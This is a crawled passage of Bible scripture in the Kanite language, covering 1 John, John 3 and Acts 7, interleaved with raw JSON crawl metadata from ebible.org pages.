kentávé'a sé'a Ísu Káráísiti simámisanawa kwési. kwená imáyáávinkena kwésiyo kwésewe. kentópa'o kondá sáwí-meyamba timénaundara'a suwáné'a sé'a Ísu Káráísiti kwésimamintemba kwésimasimintaawe sénááowe. kwemá Káráísiti kentirumpimbá mayáí kwémaena íma aamoisáyáwáí éna kwená asirayándéí mayáí kwémayaiye.\n4 ááéma kwemá asirayámbá tuwéna aamoisayán-kwáásíráámbá umái máyowasa taaira'á inkámúwana puwúwana Áánútu usásinankowana Áánútuna asirayánká'á máyáiye. miráumai kesáágwárá'á aamoisayán-kwáásí máyaundanivo Ísu Káráísitiyeya tarúmai méta Áánútuna asirayánká'á méta keinárawa'a kwétuwa'naa-une.\n5 keinárawa'a moórá-morawai Ísu Káráísitin-aaiyave'a tirunkakéná áraire simáíya kwenká'á agevamáíya máyáaompo kesáváí-ímáyáá kwée'a awánaaro. Ísu Káráísiti sirumpimbá máyáiye kwésemba tirunkakéná kwése. tóikakena kwéseompo imáyáa oró. mirámó é'a Ísu Káráísitina kwaásiya úne sé'a\n6 kentááyávé'a Áánútun-aai simásíméwain-owe sénááowe-imayaa kwéune.\n7 kentááyávé'a sé'a Áánútun-aai simásíméwain-owe sénááontaveta íma námúnaa súndayaanivo keinárawa'a kawe'á ónááontaveta Áánútumpa'a námúnaa súndaya Áánútuwo túwa'naa inasá kawe'á oró kwésune. íma sáwí'a ónááomba póta íma sáwí-meyamba kotíménasaya évakarawai kentááyávésa sésa íma Áánútun-aai simásíméwain-owe sénááomba mindá íma anón-tantaa'an-ivo keinárawa'a kawe'ó umáímo ménaaomba mindá anón-tantaa'an-iye.\n8 árair-ainko usáyaaitaino séta mayáíyá kwémaeta kwétuwa'naa-une.\n9 kentópa'o kondayá Áánútuntave'o asiramáímo ménaaombo éta aamoiyá ónaumne. mirámó íyambo éta íma sáwí-meyamba timéta aamoisayán-kwáásíráámbá umái méta mindáyavetaagwara'a aamoí ónaumne. sáwí'o umáímo máyáampinkemba kawe'ó umáímo ménaaontaveta Áánútumpa'a námúnaaya kwésune.\n10 kentópa'o kondá sáwí'o kwéontave'a asirayán-áímbá kosimátimunavo sé'a kentí némpa'a mé'a maanáúváí agaimái kwétimune. íma sáwí'a umátinke'a kentí imáyáa asiramátinkanaundayavena Ísóigo usásisinkowa'a keinárawaka'a kárákwiye'a kentí némpa'a mé'a maanáúváí agaimái timúmpo awáné'a súdantemba oró.\n11 kesí kwaásiyono. kawe'á umái mé'a kawer-ámbá kwaré'a súndantemba é'a mimbórá-ímáyáá umái mé'a paru umái máéro. mirámó íyambo éna Áánutu arumbá aména paru umátínkáiwai keinárawate méniye.\n12 Áánútuna akúní'a kwéontave'a moórá-morawai tiyáámba tíméro.\n13 Áánútuna kwaási maanká'á máyáawai keinárawatavesa kawe'á umái máéro kwésewe.\n14 Ísóigo Ísu Káráísiti úwoi kwétuwa'naa-isana Áánútu arumbá kwétimisana kwenamankó keinárawate máyáísa'a mimbóráí'a umái kwémaentave'a námúnaa kwésune.\nkemá Póro súnda-aimba ánásaiye.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/ebible.org\/study\/content\/texts\/kze\/C213.html","date":"2023-10-02T15:38:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233511000.99\/warc\/CC-MAIN-20231002132844-20231002162844-00140.warc.gz","language":"kze","language_score":1.000007987,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"kze_Latn_score\": 1.0000079870224}","num_words":311,"character_repetition_ratio":0.065,"word_repetition_ratio":0.0,"special_characters_ratio":0.166,"stopwords_ratio":0.186,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"3\nNíkótimasima Ísumba áísaa uráin-kwasai.\n1 moóráwai ámáán-kawaa-kwaasi Yútaa-kwaasiti kawááná'á áwí'a Níkótimasi\n2 kwemá moórá-no'waamba Ísunopa'a téna séna anóndakoo Áánútun-aai simásiminiyondayavena embá ai'máráísama tamáyaanata awánaraumne. Áánútumo embó asirayámbó ímo ámakainkakai ó'on-o'on-kawe'-mayai íma kanaán-umai mayáásino súwana\n3 Ísu séna árai'a simáme'a sé'a ímo ókwara'o aúnáraan-umai matinkáiyawaimo ésa Áánútumo kawááipa'a íma ménaaowe súwana\n4 Níkótimasi séna anón-umáguraavo nóraumai aúnái'a ónááoo séna tinóisai tirumpimbá íma ó'a komáíyasa matinkánááowe súwana\n5-6 Ísu séna árai'a simáme'a sé'a kwaásimo matínkáamba mindá kwaásiman-ovo Áánútun-amankomo umátínkáimba mindá Áánútun-amankogwara'a aúnái'a kwéowe. ímo nonkwárá Áánútun-amankogwara'o aúnáraani'o umáímo ménaaoni'a umátínkáawai Áánútumo kawááipa'a íma ménaaowe.\n7 ókwara'a aúnáraan-umai matinkáníyemo súnda-aintavena íma áá'a kaíno.\n8 maarán-áímbá imáyáa uwó. úndáoma kwená imáyáavinkemba kwénaaisasa ane'á íma kwéawanesa sésa náávakena náávara kwénaaiyo kwésewe. mirámó intembá Áánútun-amankoma miráráán-umai kwaási kwéumatinkaiye súwana\n9 Níkótimasi séna nóra ena mirá íníyo súwana\n10 Ísu séna Ísareri-kwaasivimba aaí kwésimatimendawai óndanivo mináímbá íma isááne.\n11 árai'a simáme'a sé'a kesáá awáraunda-yantaa ísaraunda-yantaataveta kwésimatimunda isa'á íma kwéisaawe.\n12 mirá kwéon-tantaa marapá'ó kwéon-tantaatave'o kwésimamunda íma áraire séndanivo kwíyómpa-tantaatave'o simáméndamo e nóra e áraire síníyono.\n13 íma kwíyómpa'a irésa kunkáavo keyáá kwíyómpakemba kunké'a kumpaáruraundawai kwíyómpa-tantaa'a kanaán-umai agaráátinkaumne.\n14 naaóvá'á Mósesi óntandei iraankavayaambá tarórumai taaira'ó mósá marówasa puwónáesamo un-kwáásí awánésa íma pukáawe. mirámó uráintemba kembá kwaási úranda'a kumpaáruraundawaimba sínkambai taaira'á mósá maránááomba pósa\n15 kesááiyavesamo árairemo síyawaimo ésa aúnái'a umái aasiyaasí maí'mai'a ónááowe Ísu siráiye.\n16 Áánútu marapá'á máyáan-kwaasiyavena ávááraumai aruntávéna éna póna kwenáánimba kímborawaimba ai'marówana kunkáimba pósa kwenááiyavesamo áraire síyawaima kwaási máyáawaina ááimba Áánútuna némpa'a íma maí'mai'a ónááovo kwená egwaa'á aúnái'a umái maí'mai'a ónááowe.\n17 marapá-kwáásí aavimbá maitinkaaó séna Áánútu ááninkomba íma ai'marówana kunkáivo marapá-kwáásí sáwí-imayaavimba máyáawima kuntí'mai kawer-ámpá'á métinkaao séna Áánútu ááninkomba ai'marówana kunkáiye.\n18 Áánútu ááninkon-aaiyavesa áraire kwésewai íma aaivimbá maitinkánívo ímo árairemo kwésewaima á'a aaivimbá maitínkaraiye. Áánútu kímbora-aaninkon-aaiyavesa árairemo ímo kwésentavena á'a aaivimbá maitínkaraiye.\n19 sámo kamátinkaiwaima marapá'á kunkáimbanivo kwaási sáwí'a kwéesa pósa túnín-ayampatavesa imáyáama ésa sámo kamátinkaiwainopa'o ímo tentávéna aaivimbá kwémaitinkaiye.\n20 sáwí'o kwéowai sámo kamátinkaiwaintavesa íma kwétinkaisasa kesí mayáímá paárivo sésa íma sámo kamátinkaiwainopa'a tagwémaewe. sáwí'o kwéowai mirá kwéovo\n21 arupímo kwéowai sámo kamátinkaiwainopa'a tamáyáamba pósa Áánútu siráini'o kwéomba kwétuwanaawe.\nÍsuna kwaasái Yóni simátímakain-kwasai.\n22 minkákémbá Yútiyaa-ayampa'a Ísuwe kwená kwayó-kwáásíyé komésa nombá kwévetinkowana\n23-24 minkánáávímbá Yóni íma ándáva'a máankaronka'a Ínóni-ayampa'a Sérími-naokona egwaa'-nónayumpa'a Yóni ména sáwíva'-nomba kwáyopa'a máyowasa kwaásiyomba tóyo uwaná Yóni nombá kwévetinkowasa\n25 Yónina kwayó-kwáásíyónté moórá Yútaa-kwaasigoe mésa mono'-nómbó pétinkon-aintavesa kwesimá kwesiman-esa\n26 Yónina kwayó-kwáásíyómbá kwenópa'a tasimámesa sésa anóndakoo Yóntáni-nonkona menávápá'á esé méraiwaimba kwenáwí'a mósá makáawaima kwemá nombá kwévetinkaisasa sáwíva-kwaasi kwétoyo owe suwaná\n27 Yóni séna Áánútumo tímísasamo ombá mindá miwínéímán-iye.\n28 kemó siráunda Áánútumo usásinankaiwaima íma kemá úmpo si'marówa'a kwená aiva'á tiráumne siráunda-aimba ísaraawe.\n29 maarán-áímbá imáyáa oró. aúná-ininkomo awaikónópa'o tisanamá awaikó amááraanarawa'o aamoimó onten-umái Ísunopa'a tewa'á aamoí kwéune.\n30 kwemá anón-kwaasi imbá póna kwenáwí'a iyínívo kemá kíto-kwaasima únda póna kesúwí'a kumíníye Yóni siráiye.\n31 kwíyómpakewaima amáparawai usáyaaitaraiye. maankákén-kwáásí marapá-kwáásí pósa marapá'ó kwéon-tantaatavesa kwésevo kwíyómpaken-kwaasi usáyaaitarain-kwaasi póna\n32 awánarain-tantaa ísarain-tantaatavena kwésisasa íma kwéisaambanivo\n33 kwenááiyavesa áraire kwésewai sésa Áánútu árair-ainkona ááimban-iye sisasá tuwánésa sésa Áánútu árair-ainkona ááimban-iye kwésewe.\n34 Áánútu ai'mákaiwaimba kwenamankómbá ámatukaimba póna Áánútun-aai kwésisasa mináíntávésamo árairemo kwésewai sésa Áánútu árair-ainkona ááimban-iye kwésewe.\n35 Áánútu avowámá éna ááninkomba arumbá aména séna amápa-tantaa'a kawááumai taviyiyó siráiye.\n36 ááninkon-aaiyavesamo árairemo sésamo kwesé aráápamai maíyawai aúnái'a umái maí'mai'a ónááovo kwenááimo ímo ísámaimo kawe'ó kwéiyawai íma aúnái'a umái méwana Áánútumo áwáá'o tíyímba miwísé aasiyaasí kwaíkwai'a isasá kwémaewe.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/ebible.org\/study\/content\/texts\/kze\/JN3.html","date":"2023-09-25T07:05:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233506686.80\/warc\/CC-MAIN-20230925051501-20230925081501-00110.warc.gz","language":"kze","language_score":1.0000090599,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"kze_Latn_score\": 1.0000090599060059}","num_words":510,"character_repetition_ratio":0.051,"word_repetition_ratio":0.0,"special_characters_ratio":0.165,"stopwords_ratio":0.218,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"7\nSítíveni monor-ánón-kwáásí simátímakain-kwasai.\n1 mirá simásúwówana aiva'-mónó-káwáánákó Sítívenimba áísaa ena séna kwésen-aimba árair-aina'i. kampar-áíná'iyo súwana\n2 Sítíveni séna kesivoísáí kesuwaaísáíyó simátíménda ísáaro. naaóvá'á kentáá síkwá'náo Ááváramu íma Áránaava'a komáyonka'a Mésópótemiyaa-marava'a máyonka'a Áánútu asirayánkwáráwáí kuména\n3 Ááváramuntavena séna ená maragwárá enamááraawigwara'a tiyuwé kwina'á moórá-marama agarááránkáandava'a koméniyone súwana\n4 iséna mimbárámá Káútéa-kwaasiti maravá'á tuwéna teémena Áránaava'a tamáyowana avowá puwúwana Áánútu ai'marówana teémena maavá'á máyaundava'a túwana\n5 minkánáá Áánútu íma maramá amúmba asiramái séna aáno maambárámá enkwárá enaísaavutantambo íyawaigwara'a timénaumne. Áánútumo súmba Ááváramu iyámpói íma maránkaronka'a mináímbá simámena\n6 moórá-ainkwara'a séna enaísaavutantambo íyawai ó'on-kwaasiti maravá'á koméwasa umbai-máyáí timésa sáwí'a umátínkéwana sáwívar-ima 400 ima ánásaina'a\n7 sáwí'o umátinkanaaowaima sáwí-meyamba timénaunda pósa enaísaavutantambo íyawai mimbárámá tuwésa maavá'á tésa kesí imáyáa mósá maránááowe séna\n8 mináímbá naaóvá'á Áánútu Ááváramuntavena séna aáno maambárámá enkwárá enaísaavutantambo íyawaigwara'a timénaumne siráimba mináímbá simái tarúmarena póna túra'a kárámai araa'éna uwó Áánútu siráiye.\nsúwana Ááváramu ména Áísákaamba ankéna avakaumboé-no'waamba kwaéna áúra'a kárámai araa'éna umánkowana Áísákaa anón-éna Yákópomba ankéna áúra'a kárámai araa'éna umánkowana Yákópo anón-éna sísamaivakemba kae'á kumbaimái-iyampoi tinkéna túra'a kárámai araa'éna umátínkáva'a kuráiye.\n9 mirá umátínkáva'a kúwasa mináváráwáínónda tíváko áwí'a Yósépintavesa naaénkewai íma kentáárá'á kárákwiyiniye sésa tirumbá sáwí'a umánkesa áí'maesa ó'on-kwaasiva'a mátimesa óntamba máyówasa miwí Yósépimba áí'maesa kweémesa Ísípi-marava'a máánkówana Áánútu kwesé máyowasa\n10 umbai-máyáí amésa sáwí'a umánkómbanivo Áánútu kwesé ména áwa'naa ena kawer-ímáyáá aména kwená umbai-yántáá'á ánásamankowana mimbárámá Ísípi-marara-kawaanako Yósépina kawer-ímáyáá iséna séna Ísípi-marava'a amápa-kwaasira'a kawe'á umái kárákwiye kesí náaindaanka'a mirán-uwo súwana kwemó súntemba kwéuwana\n11 naaémba ayawaimá téna Ísípi-maravare Kénááni-maravare amápar-ayampa'a ayawaimá tówasa tááiyavai ésa kentáá síkwá'náyomba toómbá íma kentáávímbá kwéraiye.\n12 Ísípi-marava'a toómbá kwáyáiye-aimba isáúmpo komeéyán-oro Yákópo séna áánimbaa'a ti'marówasa komeéyá úmaesa\n13 tivowánópa'a tamáyówana mintómbá ánásowana ó'a kuwaná Yósépi miwítí egwaa'á tamaéna séna kemá Yósépi kentívá'a úne súwasa kesí imáyáao pukáane súndayaawe suwaná Ísípi-marara-kawaanako Yósépina ááimba iséna awaaísáí tuwánówana\n14-15 Yósépi awaaísáí simátimena kesivombá kosimámiyana ená akúmbá tí'mae Ísípiva'a tiyó Yósépi siyé. kosimáméro Yósépi súwana avowámá iséna kwená akúmbá 75 kwaasi tí'maena Ísípiva'a kawe'á umái komésa púwúwasa\n16 naaémba miwí tísaavutomba tiyáántámba maimaé teémesa Sékémuva'a máutomba naaóvá'á Ááváramu Émon-andaraken-kwaasima óntamba tímatukom-barava'a máutaraawe.\n17 ánivo kentáá síkwá'náyomba Ísípi-marava'a komésa sáwíva-kwaasi agairáawe. Áánútu Ááváramuntavena asirayán-áímbá séna Kénááni-marama enaísaavutantambo íyawai timénaumne siróntemba timínín-kanaa ákíse únka'a\n18 moóráwai Ísípi-marara-kawaanako Yósépimo naaóvá'ó pukóntavena kwená mayáí-áímbá íma ísarowai póna\n19 kentáá síkwá'náya umbai-máyáí tiména maimái sáwí'a kwéumatinkowasa iyámpói máápa'a tiyuwówasa pukáawe.\n20 iyámpóíyomba púwúwana minkánáávímbá Mósesi kawer-óígwárár-íyámpóí ánkarena anówama naaúmpa'a aúpá'á ánkarowana kaumbo-kwíyómbá putuwéna\n21 máápa'a áí'maena móru ánkarowana Ísípi-kawaanako ayáámúnkoma awánómba aráái tówana kesáánine séna kárákwirowana anón-úwasa\n22 Ísípi-kwaasi miwítí ááimba kwésimama'mae íyúwana Mósesi kwéisena anón-éna kwemó mayóm-bayaigoe kwenááigoe kawe'á uráiye.\n23 Mósesi mirán-kwáásí ména kae-kwááí aíyayaan-ima 40 íma maisuwéna kesí kwaási Ísareri-kwaasi kotuwánanae séna kúmba\n24 Ísípi-kwaasigo Ísareri-kwaasigomba sáwí'a umánkowana Mósesi tuwánéna Ísareri-kwaasi áwa'naa ena Ísípi-kwaasigomba tuvúwúwana puwúwana\n25 Mósesi imáyáa éna séna Áánútu mimbáyáírátávéna usásisinkaraimba pó'a Ísípivakemba Ísareri-kwaasi tí'mae'a koónaunda mimbáyáíyávésa owé sénááowe siráimbanivo Ísareri-kwaasi íma mirán-ímáyáá uwaná\n26 Mósesi kogwaéna usásinena kúmba Ísareri-kwaasi kaekó áái'a tíyóyana tuwánéna tiyoráínda-imayaa éna séna kae'náraiyo mimbórá-naoraama óívo áái'a tiyaáyavo súwana\n27 aiva'ó ááimba'maimo tiyón-kwaasigo Mósesimba améntáyuwena séna nááwa embá usásinankaraisa kentáásí kawááí'a éwa aaiyá kwésimasimeno.\n28 tíndaumo Ísípi-kwaasimo tuvuwónanamo puwéiraintena kembá mirá íníyono súwana\n29 Mósesi iséna inkaiséna kweéme kweémena Mítíyani-marava'a ó'on-kwaaiti maapa'a koména kaer-íyámpóí matínkaraiye.\n30 Mósesi kaer-íyámpóí matinkéna ména kae-kwááí aíyayaan-ima 40 íma maisuwéna moórá-tawai kavóná-marava'a kwégwena Sáínai-omapa'a egwaa'á kwáyonka'a kwéguwana sáwíyan-taivinkemba irá kwégena íma mintáí kówana Áánútuna kwayó'ná'á kwíyómpakewaima mimpímbá máyowana mintáí íma kówana\n31-32 Mósesi awánéna anón-imayaa éna egwaa'á koména awánówana Áánútu séna enaíkwá'ná Ááváramune Áísákaane Yákópone miwítí Áánútu úne súwana Mósesi mináímbá iséna ayántámbá tówana úwoiva'a karakówana\n33 Ísóigo séna máyaunda póna á'oram-barama kwáyáipa'an-ivo kawe'-márává'á méraapa'an-ivo maambárámá sáwí'a ónavainivo aísamai ánáamba ayútuwaao.\n34 Ísípiva'a kesí kwaási sáwí'o kwéumatinkaawasamo ivi'ó kwétaamba tuwánáúnda pó'a túwa'naa ónaumpo usásinena'a ai'máráana kweéme kweéme Ísípiva'a kuré kesí kwaási Ísareri-kwaasi kótí'mae Kénááni-marava'a kwaaó Áánútu Mósesintavena siráiye.\n35 kwembá Mósesimba Ísareri-kwaasi tínaaemba umánkesa sésa nááwa embá usásinankaraisa kentáásí kawááí'a éwa aaiyá kwésimasimeno siráawe. siráan-kwaasiyavena Áánútu mináímbá siráiye. kwembá Mósesintavena Áánútuna kwayó'ná'á kwíyómpakewaima sáwíyan-taivinkemba aaí simámakaiye. kwembá Mósesimba Áánútu kawáá-máyáí aména ai'marówana Ísípivakemba Ísareri-kwaasi kótí'maena Kénááni-marava'a kuráiye.\n36 kwemá Mósesima Ísípiva'a ímo awárom-bayai ó'om-bayai mayówasa sésa úwoi tí'mae kóuwo suwaná tí'maena kúmba nonkó áwí'a naae-nóné supa'á kwéna ímo awárom-bayai kawe'-máyáí komaéna tí'maena kúmba kavóná-marava'a kae-kwááí aíyayaan-ira'a 40 ira'a komáyówana ímo awárom-bayai kawe'-máyáí maimaéna iráiye.\n37 kwemá Mósesima simátimena séna Áánútumo kembó usásisinkarainten-umai naaémba moóráwaimba kentísaavutantambo íyawaivinkemba usásinankaniye. Áánútun-aai simátiminiwaimba usásinankaniye.\n38 kwemá Mósesima kavóná-marava'o Áánútuna kwaási Ísareri-kwaasimo méraapa'a miwísé ména kentáá síkwá'náyonte ména Áánútuna kwayó'ná'á kwíyómpakewai kwesé ména Sáínai-omapa'a umáyowana Áánútuna kwayó'ná'á kwíyómpakewai Áánútuna ámáámba simámuwana ímo ánásai-aimba simámuwasa simátíma'maesa kuráanta kwéisaumne.\n39 Mósesin-aai simátímúmba kentáá síkwá'ná íma isésa tínaaemba umámesa Ísípiva'a tayauweránáe-imayaa uwaná\n40 naaémba Áánútu Mósesimba ááyowana omápa'a umáyowasa Mósesi awaaó áwí'a Érónintavesa sésa Mósesi Ísípivakembo síkaiwaiya náávara kóuraiyo. íma awánáúndavata kóuraivo moórá-isoigomba tarórúmarewata kwenarááíya kwáráano sésa\n41 óntandankakemba purumakan-áráákaamba úmaresa minkámpár-ísóígóná aamoimá umánkesa póíma tuvú'mái kwénesa úmakon-tantaatavesa aamoí ésa toóní'a umái kwénowana\n42 mindáyavena Áánútu ánaaemba umátiyuwowasa kwíyóntavesa aaváúyávésa otávésa kesí ísóigoman-iye siráawe. mindáyavena naaóvá'á Áánútun-aai simátímakowai agaimaréna séna\nÍsareri-kwaasiyono. kavóná-marava'a kae-kwááí aíyayaan-ira'a 40 ira'a mé'a póíma tuvú'mái neémáémba íma kentávé'a ísámai neémáémbanivo\n43 kentí kampar-ísóígóntávé'a ísámai kwená ampanta-námbá maimaé'a kwénaaowe. minkámpár-ísóígó áwí'a Mórókowe siráawe. okáán-tántáá'á tarórumake'a áwí'a Erevááníyé kwése'a toré kwénaaowe. minkámpá-káér-ísóíráí úmare'a kesí ísóigowe kampa'á sé'a áwí'a maé kwéiyowe. mirá uráantave'a kentí maravákémbá ti'máráana'a kweéme'a moórá-marava'a áwí'a Pépíróni-marava'a koménaaowe\nÁánútun-aai simátímakowai agaimaréna siráiye.\n44 naaóvá'á kavóná-marava'a Áánútu Mósesimba agaráárankena Áánútuna naambó ampantará'ó ónááomba maará ónááowe séna agaráárankowasa Áánútumo súntemba mirán-dámbá umái maimaésa kavóná-marava'a kwénaaowe.\n45 naaémba miwí táánimbaa'a kentáá síkwá'náyomba mindámbá maimáyówana Yósúwa tí'maena Kénááni-marava'a kúmba Áánútu túwa'naa ena mimbárává'ó máyón-kwaasi kwatuwówasa kóuwasa koyavíresa mindámbá minká'á mámaresa máyówana naaémba Tévíti Ísareri-kwaasiti kawááná'á máyompimba mindámbá úwoi kwáyowana\n46 Tévíti kawe'á umái máyowana Áánútu aamoí umánkowana Tévíti Áánútumba áísaa ena séna ená naambá ónaum. íya ónaumno. emá Yákópona Ísóigoma po owé sina'ó é'a ená naambá ónaumne súwana\n47 Áánútu séna emá íma íníyompo enááninko Sórómoni kesí naambá íníye siráimbanivo\n48 Áánútu kwíyómpa'o máyáimba kwaási úmakaan-daumpa'a íma máyáiye. mindáyavena naaóvá'á Áánútun-aai simátímakowai agaimaréna séna\n49 Ísóigo séna kwíyómpa'a kárákwiye'a marará'á kárákwiyunda pó'a úmaraniyonda-naumpa'a íma úwoi marapá'á kumbénaumne.\n50 kesáváí mintántáá'á amápa'a tarórumakaumne Ísóigo siráiye\nagaimaréna siráiye Sítíveni siráiye.\nSítíveni mináímbá simátímatuwena aaimó isáí-kwáásíyáváí simátimena séna\n51 keinárawa'a tirunté máráamba mé'a pó'a Áánútuna aampa'ó ímo kwáráan-kwaasiraani'a umái mé'a Áánútun-aai kwéisaambanivo íma ísámai kawe'á kwéowe. kentíkwá'náyomba Áánútun-amankomba tínaaemba umámemaentemba kemá mirá kwéowe.\n52 kentíkwá'náyomba Áánútun-aai simátíma'maesa kwéguwai amáparawai sáwí'a umátinkesa Áánútuna kawe-kwáyóná'á kumíníye-aimba simátímakowai tínkamuwasa pukáawe. naaémba kwemá kumúwa'a kuntaru'á umái tuvúwúwana pukáiye.\n53 ánivo kwíyómpakewaima Áánútuna ámáámba simátímakowa'a keinárawa'a ísaraambanivo íma ísámai kawe'á uráawe Sítíveni siráiye.\nSítívenimba óntandei tuvúkáan-kwasai.\n54 Sítíveni mináímbá simátimumba aaimó isáí-kwáásí ávááraumai tirunkó sáwí'a úwasa i'naiyámbá mésa tíyántavesa uwaná\n55 Sítívenimba Áánútun-amanko kwempímbá anómba umánkarowana kwíyómpa'a awánómba Áánútuna ságayamba kwáyowana Ísu ayáánúrapa'a asirayán-áyámpá'á máyowana Sítíveni awánéna\n56 séna awánaaro. kwíyómba taaínkaar-isaná Áánútu ayáánúrapa'a asirayán-áyámpá'á Ísuma kwaási úrandako máyáimba awánaraumne súwasa\n57 miwí anónka'a kwáá'a tésa kwenáái íma isánáe sésa tááka'a tiyáándei awááésa Sítívenimba tarááparaapa ésa\n58 tátokesa taagwiya'maésa marur-awámpá'á máyuwesa óntamba mairésa tuvúkáawe. Sítívenintavesa kampar-áímbá siráawai paákár-únánkwátói ayútuwowana ívé-kwaasi áwí'a Sóro minúnánkwátói kárákwirowasa\n59 Sítívenimba óntandei tuvúto'naa uwaná Ísóigonka'a námúnaavinkemba séna Ísu Ísóigoo kesimambá kumbaimaéna'a púwóno séna\n60 arauntaúmbá airéna anónka'a séna Ísóigoo sáwí'a kwéumasinkaambanivo miwí íma sáwí'a umátinke miwítí sáwí-imayaa maitiyuwaaó Sítíveni simásuwena pukáiye.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/ebible.org\/study\/content\/texts\/kze\/AC7.html","date":"2023-10-03T23:08:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233511284.37\/warc\/CC-MAIN-20231003224357-20231004014357-00484.warc.gz","language":"kze","language_score":0.9999983311,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"kze_Latn_score\": 0.9999983310699463}","num_words":1118,"character_repetition_ratio":0.056,"word_repetition_ratio":0.0,"special_characters_ratio":0.162,"stopwords_ratio":0.175,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} diff --git a/kze_Latn/fineweb-2_000001_remove.jsonl b/kze_Latn/fineweb-2_000001_remove.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..9703bbd3f2044bc138752f161d7031b99fa42411 --- /dev/null +++ b/kze_Latn/fineweb-2_000001_remove.jsonl @@ -0,0 +1,22 @@ +{"text":"1 Yóni 11Ísu Káráísiti Áánútuna imáyáa agaráásínkáiwaiyaama póna kwaási aúnái'a umái maí'mai'a ónááowaina ááinkoman-iye. mináíntávé'a maanáúváí agaimái kentópa'a tuwáúnana kwégwiye. ááinka'a maramá íma kwáyonka'a kwemá maémáimba marapá'á kuména keséya máyowata súranta awánamai kawe'á éta kwenáái iséta siyáándei ane'á tátokaundayaawe. 2aúnái'a umái maí'mai'a ónááowaina ááinkoma avowánópa'a máyomba marapá'á kuména keséya máyowata awánareta póta mináímbá kwésimatimundayaawe. 3kesáá Áánútuwe ááninko Ísu Káráísitiye tarúmaiya máyaumne. awánaraunda ísaraunda keinárawakwara'a kwésimatimunda póta Áánútuwe ááninkowe tarúmaiya máyaundantemba keinárawa'a mirá ónááowe. 4kentáásirumba kawe'á umái anómba umásinkanintave'a maanáúváí agaimái kwétimune. 5Áánútu ááninko simásímakain-ainta simátimeta séta Áánútu sámo kaiwáíná ááimba póna túnín-tantaa'a kwempímbá íma kwáyáiye. 6miráumai túnín-ayampa'a máyáamba Áánútuwe tarúmaiya máyaumne kwésewai kampa'á kwésesa árair-ainkona ááimpimba íma máyáawe. 7ánivo Áánútu sámo kain-áyámpá'ó máyáintemba miráumaimo sámo kain-áyámpá'ó máyaundaya kwená kwaásiye tarúmaiya máyaumne. miráumai Áánútu ááninko Ísuma kentááyávéna imáyáa éna kumpuwúwana kwená naaegó kuména póna kentáásí sáwí-imayaa kwémaisiyu'maenaya kwéiyiye. 8kempíntá sáwí-imayaa íma kwáyáiye súndaya kesirunkómbá kampar-áíntá simá-uwáúnanaya Áánútuna árair-aimba kesirumpintá íma kwáyáiye. 9avora'ó Áánútumpataamo sáwí-imayaayavetaamo simáménanayaamo éna Áánútu kentáásí sáwí-imayaa maisiyuwénaya amápa-sawi-imayaa arupí umásinkanintaawe. Áánútu kwemó siráini'a mirá éna miráumai kaweré su'mai kwéena póna sáwí-imayaa maisiyuwénaya arupí kwéumasinkaiye. 10Áánútu séna amáparawai sáwí'a uráawe simbánivo kesáámá séta íma sáwí'a kwéune kwéseta Áánútu kampar-áímbá kwésiye súnana Áánútuna áséi-kwasaigo íma sirumpintá kwégwaiye.\n1 Yóni 21kesí iyámpóíyono. íma sáwí'a ónááontave'a maanáímbá aúváívimba agaimái timúne. ánivo sáwí'o íyanamo éna siráváyáiwaiya ména kesivompátá áísaa íníye. kwemá Ísu Káráísitima arupí iwáíyá kesivompátá áísaa íníye. 2sáwítaamo uráunda-meyamba kentáává'á íma tíno séna maimaéna pukáiye. íma kentáásí sáwí-meyane su'mainivo amáparawaiti sáwí-meyankwara'a maitiyuwáníntavena pukáiye. 3Áánútun-aaimo taagwiyavétaamo únda árai'a kweséya tarúmaiya máyaumneya kwésune. 4Áánútun-aaimo ímo taagwiyávónka'o ombá Áánútuwe tarúmai máyaumnemo sembá kampa'á sewaná miwívímbá Áánútuna árair-aimba íma kwáyáiye. 5- 6ánivo Áánútun-aaimo taagwiyávówai Áánútumpa'a tirumbá áma'mai kawe'á kwéowe. kesáámó Áánútuwe tarúmai máyaumnemo kwésundawaiya Ísu Káráísitimo máyontemba kesáá miráyá umáíya ménaumne. miráyáámó kwéunda árai'a Áánútuwe tarúmaiya máyaumneya kwésune. 7kesí kwaási ísáaro. kemó kwéagayaunda íma aúná-amaamban-ivo ááéraan-amaamba kwéagaimai timúne. aiva'á simátímakaamba á'a ísaraan-amaamba kwéagaimai timúne. 8ánivo túnín-tantaa'a kwéauyokwisana árai'a sámo kain-tántáá'á kwévaarimba póna ááéraan-amaamba aúnái'a umái kwévaariye. Ísu Káráísitina mayáívínkémbá minámáámbá paárurena keinárawapinkwara'a minámáámbá kwévaariye. 9kentí kwaásiyavai tíyámba kwéumatinkaambanivo sámo kain-áyámpá'á máyaumne sembá sámo kain-áyámpá'á íma máémba túnín-ayampa'a paaí máyáawe. 10ánivo kentí kwaásimo tirumbó tíméwai sámo kain-áyámpá'á máyáamba pósa miwívímbá sáwí-yantaa'a íma kwáyáímba pósa ó'owi tuwánésa sáwí-ampa'a íma kwégowe. 11ánivo kentí kwaásiyavaimo tíyámbo kwéumatinkaawai miwí túnín-ayampa'a máyáawana túnín-tantaako túrampa'a káátagwisasa múgu'maagu'a úmaesa kwégowe. 12kesí iyámpóíyono. keinárawatavena Ísu Káráísiti pukáimba póna Áánútu kentí sáwí-imayaa maitíyukaintave'a kemá maanáúváí agaimái kwétimune. 13anón-kwaasiyono. ááinka'a maramá íma kwáyowana moóráwai maémáimba kwemá ívékwara'a máyáísa'a kwená ááimba kwéisaantave'a maanáúváí agaimái kwétimune. ívé-kwaasiyono. Sáátáánigomba usáyaaitaraantave'a maanáúváí agaimái kwétimune. 14iyámpóíyono. Áánútu kentivo 